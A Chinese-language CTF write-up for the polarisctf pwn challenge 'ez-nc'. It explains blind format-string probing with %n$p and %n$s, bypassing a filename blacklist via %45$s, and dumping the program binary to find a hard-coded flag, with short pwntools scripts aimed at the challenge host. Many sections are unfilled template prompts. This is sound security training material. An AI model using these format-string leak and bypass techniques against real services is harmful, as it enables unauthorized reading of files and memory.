[polarisctf]ez-nc
目录
[!note] 关联入口:PWN题目索引
题目摘要
[!info] 基本信息
- 比赛:polarisctf
- 题目:ez-nc
- 难度:★★★☆☆
- 架构:amd64
- libc / 环境:待补充
- 保护机制:NX
[!abstract] 一句话攻击链 BROP+格式化字符串漏洞->%n$p探测栈空间->%n$s泄漏ELF文件并保存->IDA逆向分析
程序画像与攻击面

程序功能概览
题目没有给任何文件,开启容器nc连接后,出现了 Enter the filename to download: 但是具体测试,不存在 download 功能,只会打印文件内容。
同时对目标文件 ez-nc 做了过滤保护
攻击面初筛
既然存在字符串交互,故尝试格式化字符串漏洞 %p 探测出了一个栈地址,同时有输入长度限制 (len_max=7),初步怀疑程序使用了 fnprintf() 。
接下来会用BROP进行栈地址探测
利用前约束
关键限制
- 当前有哪些保护机制真正影响利用?
- 输入长度、交互次数、字符集、对齐、栈平衡等限制分别是什么?
- 哪些限制是必须先解决的,哪些只是实现细节?
目前仅发现字符串过滤保护和输入长度限制,所以不适合采用常规的长输入:
%1$p.%2$p.%3$p.%4$p....而是采用for循环构造f"%{i}$p的新形势。
原语提炼
[!note] 这一节用于说明漏洞如何转化为可复用的 primitive。
泄漏能力与关键信息获取
泄漏结果与关键信息
我们对 1~50 进行了 %p 指针探测,得到了一些栈地址。这些栈空间会存储着局部变量数据(如果探测的地址够高,能够得到二进制文件信息!)
exp —> 路线一
对后续利用的支撑
接下来进行 %n$s 字符串探测,拿到栈空间的实际信息。但这里要注意,如果传入的地址未命中字符串会导致导致程序崩溃 (Segfault),所以要写好重连逻辑。
崩溃重连:
命中成功:

路线选择
这里我做题时,将Index 45的结果发给AI,让AI在大量字节中找到了flag,但之后看其他师傅的WP时,发现还可以把Index 45的结果保存为二进制文件,并在IDA中逆向分析,在 .rodata 字段中找到了flag。
所以本题记录两种路线。
攻击链拆解
路线1:字符串盲注
直接对 1~50 进行 %n$s 盲注:
这些返回的字节中藏着flag,但人工筛选难度过大,容易眼花漏掉。
(下面还有2页的长度,过长不展示)
路线 2:下载后IDA逆向分析
从上面的截图中可以看到,存在文件头 ELF 字符串!这说明在 Index 45出存放的是一个二进制文件字符串 例如 ez-nc 的ELF文件。这个栈地址 0x7fffbdac7e10 -> .data 段的地址,这个地址存放着 ez-nc 的字符串。程序将这个字符串放在了 fnprintf() 的第一个参数,从而绕过了程序对 ez-nc 字符串的过滤!
写一个脚本可以下载到这个二进制文件 —> 路线二:
[!tip] 我这里用了wp作者的脚本,下载下里的ELF文件是无法直接IDA逆向的!后面 踩坑记录会补充说明
拖入IDA中分析:
程序存在 strstr(s, “ez-nc”) 黑名单检测,但随后调用了 snprintf(filename, 0x58u, s),将用户输入直接作为格式化字符串,导致格式化字符串漏洞。
通过输入 %45$s(栈上第 45 个偏移处正好为 argv[0] 即程序运行名 ez-nc),可绕过字符串黑名单检测,使 filename 被格式化为 ez-nc,从而触发任意文件读取下载程序本体。
ps:我不知道为什么下载的二进制文件有问题,符号表没定位到
发现flag 直接硬编码在 ELF 文件的 .rodata 数据段中

踩坑与稳定性
踩坑记录
这里填一下为什么一开始的ELF无法被IDA正常逆向的原因:
踩坑记录与稳定性修正
最先出错的地方
- 第一版利用最早崩在哪一步?
- 当时错误看起来像偏移问题、栈平衡问题,还是环境问题?
- 这个错误为什么一开始不容易意识到?
根因定位
- 最终确认的根因是什么?
- 是本地远程差异、符号计算错误、gadget 污染,还是交互时序问题?
- 哪个调试证据真正帮你锁定了问题?
稳定版修正
- 最终版相对初版做了哪些最关键的修正?
- 哪些修正只是“能跑”,哪些修正才是真正“稳定”?
- 如果以后再遇到类似坑,最该先检查什么?
模式迁移
模式识别
- 这题最关键的识别信号是什么?
- 哪个局部现象最值得在下次做题时立刻警觉?
迁移复用
- 下次再看到什么结构,应该优先想到这条路线?
- 这题能沉淀成哪一种可复用的利用模板?
模式识别与迁移
识别信号
- 这题最值得记住的结构信号是什么?
- 是某种输入模型、某种堆态、某种泄漏方式,还是某种收束套路?
- 当这些信号一起出现时,为什么应该优先想到当前路线?
迁移套路
- 这题最终能抽象成哪一种可复用套路?
- 如果换成同类题但细节不同,哪些部分能直接复用,哪些必须重建?
- 下次再看到类似题,最应该优先验证哪三个点?
exp汇总:
路线一
def create_conn() -> remote: return remote("nc1.ctfplus.cn", 15894)
def interact_copy(io: remote | process, payload: bytes) -> bytes | None: context.timeout = 0.5 try: io.recvuntil(b"Enter the filename to download:") io.sendline(payload) res = io.recvuntil(b" not existed", drop=True) return res except Exception: return None# BlindFmtTool是我自己写的工具类,具有重连功能,可以在我的github上找到“my_tool.py”brop = BlindFmtTool(create_conn, interact_copy)# 栈空间探测封装:brop.dump_stack_ptrs()# 字符串盲注封装:brop.dump_strings()路线二:
下载Index 45ELF文件的exp:
from pwn import *context.log_level = "error"def download(): host = "nc1.ctfplus.cn" port = 32441 io = remote(host, port) io.recvuntil(b"download: ") io.sendline(b"%45$s") data = io.recvall(timeout=3) if b"ELF" in data: with open("ez-nc", "wb") as f: f.write(data)if __name__ == "__main__": download()